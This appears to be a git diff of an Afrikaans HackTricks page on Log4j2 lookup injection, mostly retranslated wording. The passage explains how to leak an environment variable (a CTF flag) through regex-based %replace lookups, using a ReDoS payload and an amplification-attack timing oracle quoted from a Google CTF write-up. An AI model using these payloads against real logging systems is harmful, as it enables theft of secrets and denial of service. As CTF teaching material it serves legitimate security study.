@ -399,7 +403,7 @@ Dit was nie nuttig bevind om datum binne die foutboodskap te eksfiltreer nie, om
### Omskakelingspatrone Regexes
Dit is egter moontlik om van sommige **omskakelingspatrone wat regexes ondersteun** gebruik te maak om inligting uit 'n opsoek te eksfiltreer deur regexes te gebruik en **binêre soek** of **tydgebaseerde** gedrag te misbruik.
Dit is egter moontlik om van sommige **omskakelingspatrone wat regexes ondersteun** gebruik te maak om inligting uit 'n opsoek te eksfiltreer deur regexes te gebruik en **binêre soek** of **tyd-gebaseerde** gedrag te misbruik.
* **Binêre soek via uitsonderingsboodskappe**
@ -412,8 +416,8 @@ Deur hierdie gedrag te misbruik, kan jy vervanging **'n uitsondering veroorsaak
```
* **Tyd-gebaseerd**
Soos in die vorige afdeling genoem is, ondersteun **`%replace`** **regexes**. Dit is dus moontlik om 'n lading van die [**ReDoS-bladsy**](../regular-expression-denial-of-service-redos.md) te gebruik om 'n **tyduitloop** te veroorsaak as die vlag gevind word.\
Byvoorbeeld, 'n lading soos `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` sou 'n **tyduitloop** in daardie CTF veroorsaak.
Soos in die vorige afdeling genoem is, ondersteun **`%replace`** **regexes**. Dit is dus moontlik om 'n lading van die [**ReDoS-bladsy**](../regular-expression-denial-of-service-redos.md) te gebruik om 'n **tyduit** te veroorsaak as die vlag gevind word.\
Byvoorbeeld, 'n lading soos `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` sou 'n **tyduit** in daardie CTF veroorsaak.
In hierdie [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) is daar in plaas van 'n ReDoS-aanval 'n **amplifikasie-aanval** gebruik om 'n tydverskil in die respons te veroorsaak:
@ -434,9 +438,9 @@ In hierdie [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-202
> }{#}{######################################################}
> ```
>
> As die vlag met `flagGuess` begin, word die hele vlag met 29 `#`-s vervang (ek het hierdie karakter gebruik omdat dit waarskynlik nie deel van die vlag sal wees nie). **Elk van die resulterende 29 `#`-s word dan met 54 `#`-s vervang**. Hierdie proses word **6 keer** herhaal, wat lei tot 'n totaal van ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
> As die vlag met `flagGuess` begin, word die hele vlag met 29 `#`-s vervang (ek het hierdie karakter gebruik omdat dit waarskynlik nie deel van die vlag sal wees nie). **Elk van die resulterende 29 `#`-s word dan deur 54 `#`-s vervang**. Hierdie proses word **6 keer** herhaal, wat lei tot 'n totaal van ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
>
> Om soveel `#`-s te vervang, sal die 10-sekondetyduitloop van die Flask-toepassing geaktiveer word, wat op sy beurt tot die stuur van die HTTP-statuskode 500 aan die gebruiker sal lei. (As die vlag nie met `flagGuess` begin nie, sal ons 'n nie-500-statuskode ontvang)
> Om soveel `#`-s te vervang, sal die 10-sekondetydlimiet van die Flask-toepassing geaktiveer word, wat op sy beurt tot die HTTP-statuskode 500 aan die gebruiker sal stuur. (As die vlag nie met `flagGuess` begin nie, sal ons 'n nie-500-statuskode ontvang nie)
## Verwysings
@ -451,7 +455,7 @@ In hierdie [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-202
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -461,9 +465,9 @@ In hierdie [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-202
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks in PDF aflaai** Kontroleer die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai** Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.